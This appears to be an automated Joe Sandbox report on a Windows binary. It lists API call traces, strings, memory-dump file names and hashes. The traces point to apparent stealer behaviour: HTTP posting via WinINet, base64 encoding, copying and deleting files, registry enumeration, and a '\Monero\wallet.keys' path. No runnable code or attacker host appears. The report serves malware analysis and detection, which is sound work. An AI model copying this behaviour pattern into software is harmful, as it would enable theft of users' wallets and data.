Part of subcall function 00F4A7A0: lstrcpy.KERNEL32(?,00000000), ref: 00F4A7E6

Part of subcall function 00F347B0: lstrlen.KERNEL32(00000000,00000000,0000003C), ref: 00F34839
Part of subcall function 00F347B0: InternetCrackUrlA.WININET(00000000,00000000), ref: 00F34849

lstrlen.KERNEL32(00000000), ref: 00F35193

Part of subcall function 00F48EA0: CryptBinaryToStringA.CRYPT32(00000000,00F35184,40000001,00000000,00000000,?,00F35184), ref: 00F48EC0

Part of subcall function 00F4A740: lstrcpy.KERNEL32(00F50E17,00000000), ref: 00F4A788

InternetOpenA.WININET(00000000,00000001,00000000,00000000,00000000), ref: 00F35207
StrCmpCA.SHLWAPI(?,0078FB70), ref: 00F35225
InternetConnectA.WININET(00000000,?,?,00000000,00000000,00000003,00000000,00000000), ref: 00F35340
HttpOpenRequestA.WININET(00000000,0078FAD0,?,0078F4A0,00000000,00000000,00400100,00000000), ref: 00F353A4

Part of subcall function 00F4A9B0: lstrlen.KERNEL32(?,00788908,?,\Monero\wallet.keys,00F50E17), ref: 00F4A9C5
Part of subcall function 00F4A9B0: lstrcpy.KERNEL32(00000000), ref: 00F4AA04
Part of subcall function 00F4A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 00F4AA12

Part of subcall function 00F4A8A0: lstrcpy.KERNEL32(?,00F50E17), ref: 00F4A905

Part of subcall function 00F4A920: lstrcpy.KERNEL32(00000000,?), ref: 00F4A972
Part of subcall function 00F4A920: lstrcat.KERNEL32(00000000), ref: 00F4A982

lstrlen.KERNEL32(00000000,00000000,?,",00000000,?,0078FB20,00000000,?,0078EB00,00000000,?,00F519DC,00000000,?,00F451CF), ref: 00F35737
lstrlen.KERNEL32(00000000), ref: 00F3574B
GetProcessHeap.KERNEL32(00000000,?), ref: 00F3575C
RtlAllocateHeap.NTDLL(00000000), ref: 00F35763
lstrlen.KERNEL32(00000000), ref: 00F35778
lstrlen.KERNEL32(00000000,00000000,00000000), ref: 00F357A9
lstrlen.KERNEL32(00000000), ref: 00F357C8
lstrlen.KERNEL32(00000000,00000000,00000000), ref: 00F357E1
lstrlen.KERNEL32(00000000,?,?), ref: 00F3580E
HttpSendRequestA.WININET(00000000,00000000,00000000), ref: 00F35822
InternetReadFile.WININET(00000000,?,000007CF,?), ref: 00F3584D
InternetCloseHandle.WININET(00000000), ref: 00F358B1
InternetCloseHandle.WININET(00000000), ref: 00F358BE
InternetCloseHandle.WININET(00000000), ref: 00F358C8

Strings

------, xrefs: 00F354F9
------, xrefs: 00F353B7
", xrefs: 00F35482
------, xrefs: 00F35297
------, xrefs: 00F3563B
--, xrefs: 00F35280
", xrefs: 00F355C4
", xrefs: 00F35706

Memory Dump Source

Source File: 00000000.00000002.2456137465.0000000000F31000.00000040.00000001.01000000.00000003.sdmp, Offset: 00F30000, based on PE: true

Associated: 00000000.00000002.2456108846.0000000000F30000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456137465.0000000000F8A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456137465.0000000000FB5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456137465.0000000000FB8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456137465.0000000000FBF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456137465.0000000000FC2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456137465.0000000000FE1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456137465.0000000000FED000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456137465.0000000001012000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456137465.000000000101F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456137465.000000000103F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456137465.000000000104B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456137465.00000000010D5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456137465.00000000010F5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456137465.00000000010FB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456643777.000000000118E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456643777.0000000001310000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456643777.00000000013F5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456643777.000000000141A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456643777.0000000001424000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456643777.0000000001432000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2457004688.0000000001433000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2457155478.00000000015D0000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f30000_file.jbxd

Yara matches

Similarity

API ID: lstrlen$Internet$lstrcpy$CloseHandle$HeapHttpOpenRequestlstrcat$AllocateBinaryConnectCrackCryptFileProcessReadSendString
String ID: ------$"$"$"$--$------$------$------
API String ID: 1224485577-2774362122
Opcode ID: f0aca38beb827056f9f28386bcd9b24d29b546f764cdb357918c2ccf94b7673b
Instruction ID: 60866b6628768de73cb3855490a3ac515629bbd8ea241743770c6ad5e7f09951
Opcode Fuzzy Hash: f0aca38beb827056f9f28386bcd9b24d29b546f764cdb357918c2ccf94b7673b
Instruction Fuzzy Hash: E7323372960118ABEB14EBA0DC91FEEB778FF54700F4041A9F90663192EF386A49DF51

Function 00F3A790 Relevance: 39.0, APIs: 21, Strings: 1, Instructions: 539
stringmemoryfileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00F4AA70: StrCmpCA.SHLWAPI(00788B88,00F3A7A7,?,00F3A7A7,00788B88), ref: 00F4AA8F

GetProcessHeap.KERNEL32(00000000,05F5E0FF), ref: 00F3AAC8
RtlAllocateHeap.NTDLL(00000000), ref: 00F3AACF
StrCmpCA.SHLWAPI(00000000,ERROR_RUN_EXTRACTOR), ref: 00F3ABE2
CopyFileA.KERNEL32(00000000,00000000,00000001), ref: 00F3A8B0

Part of subcall function 00F4A820: lstrlen.KERNEL32(00F34F05,?,?,00F34F05,00F50DDE), ref: 00F4A82B
Part of subcall function 00F4A820: lstrcpy.KERNEL32(00F50DDE,00000000), ref: 00F4A885

Part of subcall function 00F4A9B0: lstrlen.KERNEL32(?,00788908,?,\Monero\wallet.keys,00F50E17), ref: 00F4A9C5
Part of subcall function 00F4A9B0: lstrcpy.KERNEL32(00000000), ref: 00F4AA04
Part of subcall function 00F4A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 00F4AA12

Part of subcall function 00F4A8A0: lstrcpy.KERNEL32(?,00F50E17), ref: 00F4A905

lstrcat.KERNEL32(?,00000000), ref: 00F3ACEB
lstrcat.KERNEL32(?,00F51320), ref: 00F3ACFA
lstrcat.KERNEL32(?,00000000), ref: 00F3AD0D
lstrcat.KERNEL32(?,00F51324), ref: 00F3AD1C
lstrcat.KERNEL32(?,00000000), ref: 00F3AD2F
lstrcat.KERNEL32(?,00F51328), ref: 00F3AD3E
lstrcat.KERNEL32(?,00000000), ref: 00F3AD51
lstrcat.KERNEL32(?,00F5132C), ref: 00F3AD60
lstrcat.KERNEL32(?,00000000), ref: 00F3AD73
lstrcat.KERNEL32(?,00F51330), ref: 00F3AD82
lstrcat.KERNEL32(?,00000000), ref: 00F3AD95
lstrcat.KERNEL32(?,00F51334), ref: 00F3ADA4
lstrcat.KERNEL32(?,00000000), ref: 00F3ADB7
lstrlen.KERNEL32(?), ref: 00F3AE0D
lstrlen.KERNEL32(?), ref: 00F3AE1C

Part of subcall function 00F4A740: lstrcpy.KERNEL32(00F50E17,00000000), ref: 00F4A788

Part of subcall function 00F4A7A0: lstrcpy.KERNEL32(?,00000000), ref: 00F4A7E6

DeleteFileA.KERNEL32(00000000), ref: 00F3AE97

Strings

ERROR_RUN_EXTRACTOR, xrefs: 00F3ABD4

Memory Dump Source

Source File: 00000000.00000002.2456137465.0000000000F31000.00000040.00000001.01000000.00000003.sdmp, Offset: 00F30000, based on PE: true

Associated: 00000000.00000002.2456108846.0000000000F30000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456137465.0000000000F8A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456137465.0000000000FB5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456137465.0000000000FB8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456137465.0000000000FBF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456137465.0000000000FC2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456137465.0000000000FE1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456137465.0000000000FED000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456137465.0000000001012000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456137465.000000000101F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456137465.000000000103F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456137465.000000000104B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456137465.00000000010D5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456137465.00000000010F5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456137465.00000000010FB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456643777.000000000118E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456643777.0000000001310000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456643777.00000000013F5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456643777.000000000141A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456643777.0000000001424000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456643777.0000000001432000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2457004688.0000000001433000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2457155478.00000000015D0000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f30000_file.jbxd

Yara matches

Similarity

API ID: lstrcat$lstrcpy$lstrlen$FileHeap$AllocateCopyDeleteProcess
String ID: ERROR_RUN_EXTRACTOR
API String ID: 4157063783-2709115261
Opcode ID: 8720e297e2d9377dd92c445abc54d0e2c14788126bf5b265b8e9152c1d1be816
Instruction ID: 24058eeca5b3c3416e8a2e4483dd75a4ca18e3c06d1edb9444b98397adda5f39
Opcode Fuzzy Hash: 8720e297e2d9377dd92c445abc54d0e2c14788126bf5b265b8e9152c1d1be816
Instruction Fuzzy Hash: 421263719501089BEB18FBA0DD96EEE7738FF14301F504168B917A3191DF38AE49EB62

Function 00F35960 Relevance: 39.0, APIs: 17, Strings: 5, Instructions: 495
networkstringmemoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00F4A7A0: lstrcpy.KERNEL32(?,00000000), ref: 00F4A7E6

Part of subcall function 00F347B0: lstrlen.KERNEL32(00000000,00000000,0000003C), ref: 00F34839
Part of subcall function 00F347B0: InternetCrackUrlA.WININET(00000000,00000000), ref: 00F34849

Part of subcall function 00F4A740: lstrcpy.KERNEL32(00F50E17,00000000), ref: 00F4A788

InternetOpenA.WININET(00000000,00000001,00000000,00000000,00000000), ref: 00F359F8
StrCmpCA.SHLWAPI(?,0078FB70), ref: 00F35A13
InternetConnectA.WININET(00000000,?,?,00000000,00000000,00000003,00000000,00000000), ref: 00F35B93
lstrlen.KERNEL32(00000000,00000000,?,00000000,00000000,?,",00000000,?,0078FA70,00000000,?,0078EB00,00000000,?,00F51A1C), ref: 00F35E71
lstrlen.KERNEL32(00000000), ref: 00F35E82
GetProcessHeap.KERNEL32(00000000,?), ref: 00F35E93
RtlAllocateHeap.NTDLL(00000000), ref: 00F35E9A
lstrlen.KERNEL32(00000000), ref: 00F35EAF
lstrlen.KERNEL32(00000000), ref: 00F35ED8
lstrlen.KERNEL32(00000000,00000000,00000000), ref: 00F35EF1
lstrlen.KERNEL32(00000000,?,?), ref: 00F35F1B
HttpSendRequestA.WININET(00000000,00000000,00000000), ref: 00F35F2F
InternetReadFile.WININET(00000000,?,000000C7,?), ref: 00F35F4C
InternetCloseHandle.WININET(00000000), ref: 00F35FB0
InternetCloseHandle.WININET(00000000), ref: 00F35FBD
HttpOpenRequestA.WININET(00000000,0078FAD0,?,0078F4A0,00000000,00000000,00400100,00000000), ref: 00F35BF8

Part of subcall function 00F4A9B0: lstrlen.KERNEL32(?,00788908,?,\Monero\wallet.keys,00F50E17), ref: 00F4A9C5
Part of subcall function 00F4A9B0: lstrcpy.KERNEL32(00000000), ref: 00F4AA04
Part of subcall function 00F4A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 00F4AA12

Part of subcall function 00F4A8A0: lstrcpy.KERNEL32(?,00F50E17), ref: 00F4A905

Part of subcall function 00F4A920: lstrcpy.KERNEL32(00000000,?), ref: 00F4A972
Part of subcall function 00F4A920: lstrcat.KERNEL32(00000000), ref: 00F4A982

InternetCloseHandle.WININET(00000000), ref: 00F35FC7

Strings

", xrefs: 00F35CD5
------, xrefs: 00F35D4C
------, xrefs: 00F35C0B
", xrefs: 00F35E16
------, xrefs: 00F35A96

Memory Dump Source

Source File: 00000000.00000002.2456137465.0000000000F31000.00000040.00000001.01000000.00000003.sdmp, Offset: 00F30000, based on PE: true

Associated: 00000000.00000002.2456108846.0000000000F30000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456137465.0000000000F8A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456137465.0000000000FB5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456137465.0000000000FB8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456137465.0000000000FBF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456137465.0000000000FC2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456137465.0000000000FE1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456137465.0000000000FED000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456137465.0000000001012000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456137465.000000000101F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456137465.000000000103F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456137465.000000000104B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456137465.00000000010D5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456137465.00000000010F5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456137465.00000000010FB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456643777.000000000118E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456643777.0000000001310000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456643777.00000000013F5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456643777.000000000141A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456643777.0000000001424000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456643777.0000000001432000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2457004688.0000000001433000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2457155478.00000000015D0000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f30000_file.jbxd

Yara matches

Similarity

API ID: lstrlen$Internet$lstrcpy$CloseHandle$HeapHttpOpenRequestlstrcat$AllocateConnectCrackFileProcessReadSend
String ID: "$"$------$------$------
API String ID: 874700897-2180234286
Opcode ID: a7577fc90b63a5e3506b1626d7e267cf43c5c4219473926558987657fcada5ce
Instruction ID: ba397a4c1022ced385ae59bbeb6e523f271c1435125e0e657954724928b2c154
Opcode Fuzzy Hash: a7577fc90b63a5e3506b1626d7e267cf43c5c4219473926558987657fcada5ce
Instruction Fuzzy Hash: 58122071860118ABEB15EBA0DC95FEEB778FF14700F4041A9F90663191EF386A49DF61

Function 00F3CEF0 Relevance: 30.4, APIs: 20, Instructions: 375
stringmemoryfileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00F4A740: lstrcpy.KERNEL32(00F50E17,00000000), ref: 00F4A788

Part of subcall function 00F4A9B0: lstrlen.KERNEL32(?,00788908,?,\Monero\wallet.keys,00F50E17), ref: 00F4A9C5
Part of subcall function 00F4A9B0: lstrcpy.KERNEL32(00000000), ref: 00F4AA04
Part of subcall function 00F4A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 00F4AA12

Part of subcall function 00F4A8A0: lstrcpy.KERNEL32(?,00F50E17), ref: 00F4A905

Part of subcall function 00F48B60: GetSystemTime.KERNEL32(00F50E1A,0078ED10,00F505AE,?,?,00F313F9,?,0000001A,00F50E1A,00000000,?,00788908,?,\Monero\wallet.keys,00F50E17), ref: 00F48B86

Part of subcall function 00F4A920: lstrcpy.KERNEL32(00000000,?), ref: 00F4A972
Part of subcall function 00F4A920: lstrcat.KERNEL32(00000000), ref: 00F4A982

CopyFileA.KERNEL32(00000000,00000000,00000001), ref: 00F3CF83
GetProcessHeap.KERNEL32(00000000,05F5E0FF), ref: 00F3D0C7
RtlAllocateHeap.NTDLL(00000000), ref: 00F3D0CE
lstrcat.KERNEL32(?,00000000), ref: 00F3D208
lstrcat.KERNEL32(?,00F51478), ref: 00F3D217
lstrcat.KERNEL32(?,00000000), ref: 00F3D22A
lstrcat.KERNEL32(?,00F5147C), ref: 00F3D239
lstrcat.KERNEL32(?,00000000), ref: 00F3D24C
lstrcat.KERNEL32(?,00F51480), ref: 00F3D25B
lstrcat.KERNEL32(?,00000000), ref: 00F3D26E
lstrcat.KERNEL32(?,00F51484), ref: 00F3D27D
lstrcat.KERNEL32(?,00000000), ref: 00F3D290
lstrcat.KERNEL32(?,00F51488), ref: 00F3D29F
lstrcat.KERNEL32(?,00000000), ref: 00F3D2B2
lstrcat.KERNEL32(?,00F5148C), ref: 00F3D2C1
lstrcat.KERNEL32(?,00000000), ref: 00F3D2D4
lstrcat.KERNEL32(?,00F51490), ref: 00F3D2E3

Part of subcall function 00F4A820: lstrlen.KERNEL32(00F34F05,?,?,00F34F05,00F50DDE), ref: 00F4A82B
Part of subcall function 00F4A820: lstrcpy.KERNEL32(00F50DDE,00000000), ref: 00F4A885

lstrlen.KERNEL32(?), ref: 00F3D32A
lstrlen.KERNEL32(?), ref: 00F3D339

Part of subcall function 00F4AA70: StrCmpCA.SHLWAPI(00788B88,00F3A7A7,?,00F3A7A7,00788B88), ref: 00F4AA8F

DeleteFileA.KERNEL32(00000000), ref: 00F3D3B4

Memory Dump Source

Source File: 00000000.00000002.2456137465.0000000000F31000.00000040.00000001.01000000.00000003.sdmp, Offset: 00F30000, based on PE: true

Associated: 00000000.00000002.2456108846.0000000000F30000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456137465.0000000000F8A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456137465.0000000000FB5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456137465.0000000000FB8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456137465.0000000000FBF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456137465.0000000000FC2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456137465.0000000000FE1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456137465.0000000000FED000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456137465.0000000001012000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456137465.000000000101F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456137465.000000000103F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456137465.000000000104B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456137465.00000000010D5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456137465.00000000010F5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456137465.00000000010FB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456643777.000000000118E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456643777.0000000001310000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456643777.00000000013F5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456643777.000000000141A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456643777.0000000001424000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456643777.0000000001432000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2457004688.0000000001433000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2457155478.00000000015D0000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f30000_file.jbxd

Yara matches

Similarity

API ID: lstrcat$lstrcpy$lstrlen$FileHeap$AllocateCopyDeleteProcessSystemTime
String ID:
API String ID: 1956182324-0
Opcode ID: 5acf1add4ce294f9e2b902575e3ccf6406fd7aa55670bc54947d2a1fb1144ba3
Instruction ID: c9906ea485f1e4d4be6e6a969fdd89a7c270c1a854ccff6cce9e37d956ecff5f
Opcode Fuzzy Hash: 5acf1add4ce294f9e2b902575e3ccf6406fd7aa55670bc54947d2a1fb1144ba3
Instruction Fuzzy Hash: 0BE16371850108ABDB18EBA0ED96EEE7778FF14301F144064F917A3191DE39AE49EB62

Function 00F34880 Relevance: 28.5, APIs: 11, Strings: 5, Instructions: 479
networkstringfileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00F4A7A0: lstrcpy.KERNEL32(?,00000000), ref: 00F4A7E6

Part of subcall function 00F347B0: lstrlen.KERNEL32(00000000,00000000,0000003C), ref: 00F34839
Part of subcall function 00F347B0: InternetCrackUrlA.WININET(00000000,00000000), ref: 00F34849

Part of subcall function 00F4A740: lstrcpy.KERNEL32(00F50E17,00000000), ref: 00F4A788

InternetOpenA.WININET(00000000,00000001,00000000,00000000,00000000), ref: 00F34915
StrCmpCA.SHLWAPI(?,0078FB70), ref: 00F3493A
InternetConnectA.WININET(00000000,?,?,00000000,00000000,00000003,00000000,00000000), ref: 00F34ABA
lstrlen.KERNEL32(00000000,00000000,?,?,?,?,00F50DDB,00000000,?,?,00000000,?,",00000000,?,0078FB00), ref: 00F34DE8
lstrlen.KERNEL32(00000000,00000000,00000000), ref: 00F34E04
HttpSendRequestA.WININET(00000000,00000000,00000000), ref: 00F34E18
InternetReadFile.WININET(00000000,?,000007CF,?), ref: 00F34E49
InternetCloseHandle.WININET(00000000), ref: 00F34EAD
InternetCloseHandle.WININET(00000000), ref: 00F34EC5
HttpOpenRequestA.WININET(00000000,0078FAD0,?,0078F4A0,00000000,00000000,00400100,00000000), ref: 00F34B15

Part of subcall function 00F4A9B0: lstrlen.KERNEL32(?,00788908,?,\Monero\wallet.keys,00F50E17), ref: 00F4A9C5
Part of subcall function 00F4A9B0: lstrcpy.KERNEL32(00000000), ref: 00F4AA04
Part of subcall function 00F4A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 00F4AA12

Part of subcall function 00F4A8A0: lstrcpy.KERNEL32(?,00F50E17), ref: 00F4A905

Part of subcall function 00F4A920: lstrcpy.KERNEL32(00000000,?), ref: 00F4A972
Part of subcall function 00F4A920: lstrcat.KERNEL32(00000000), ref: 00F4A982

InternetCloseHandle.WININET(00000000), ref: 00F34ECF

Strings

", xrefs: 00F34BF2
------, xrefs: 00F349BD
", xrefs: 00F34D33
------, xrefs: 00F34B28
------, xrefs: 00F34C69

Memory Dump Source

Source File: 00000000.00000002.2456137465.0000000000F31000.00000040.00000001.01000000.00000003.sdmp, Offset: 00F30000, based on PE: true

Associated: 00000000.00000002.2456108846.0000000000F30000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456137465.0000000000F8A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456137465.0000000000FB5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456137465.0000000000FB8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456137465.0000000000FBF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456137465.0000000000FC2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456137465.0000000000FE1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456137465.0000000000FED000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456137465.0000000001012000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456137465.000000000101F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456137465.000000000103F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456137465.000000000104B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456137465.00000000010D5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456137465.00000000010F5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456137465.00000000010FB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456643777.000000000118E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456643777.0000000001310000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456643777.00000000013F5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456643777.000000000141A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456643777.0000000001424000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456643777.0000000001432000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2457004688.0000000001433000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2457155478.00000000015D0000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f30000_file.jbxd

Yara matches

Similarity

API ID: Internet$lstrcpy$lstrlen$CloseHandle$HttpOpenRequestlstrcat$ConnectCrackFileReadSend
String ID: "$"$------$------$------
API String ID: 460715078-2180234286
Opcode ID: 6d37c2e0b41c44fb1a2c2bd26183161cd843492ea90c1f5f869f3dc0c6814be9
Instruction ID: 1e571e8991c374d81d20f2e820c513ac004f2c8a35c0d973d69205d36d392000
Opcode Fuzzy Hash: 6d37c2e0b41c44fb1a2c2bd26183161cd843492ea90c1f5f869f3dc0c6814be9
Instruction Fuzzy Hash: 5E120E72951118AAEB15EB90DC92FEEBB38FF14300F504199B90663091EF786F49DF62

Function 00F48320 Relevance: 24.7, APIs: 11, Strings: 3, Instructions: 196registryCOMMON

Download Yara Rule

APIs

Part of subcall function 00F4A740: lstrcpy.KERNEL32(00F50E17,00000000), ref: 00F4A788

RegOpenKeyExA.KERNEL32(00000000,0078BF50,00000000,00020019,00000000,00F505B6), ref: 00F483A4
RegEnumKeyExA.KERNEL32(00000000,00000000,?,00000400,00000000,00000000,00000000,00000000), ref: 00F48426
wsprintfA.USER32 ref: 00F48459
RegOpenKeyExA.KERNEL32(00000000,?,00000000,00020019,00000000), ref: 00F4847B
RegCloseKey.ADVAPI32(00000000), ref: 00F4848C
RegCloseKey.ADVAPI32(00000000), ref: 00F48499

Part of subcall function 00F4A7A0: lstrcpy.KERNEL32(?,00000000), ref: 00F4A7E6

Strings

?, xrefs: 00F4837A
- , xrefs: 00F485A3
%s\%s, xrefs: 00F4844D

Memory Dump Source

Source File: 00000000.00000002.2456137465.0000000000F31000.00000040.00000001.01000000.00000003.sdmp, Offset: 00F30000, based on PE: true

Associated: 00000000.00000002.2456108846.0000000000F30000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456137465.0000000000F8A000.00000040.00000001.01000000.00000003.sdmpDownload File
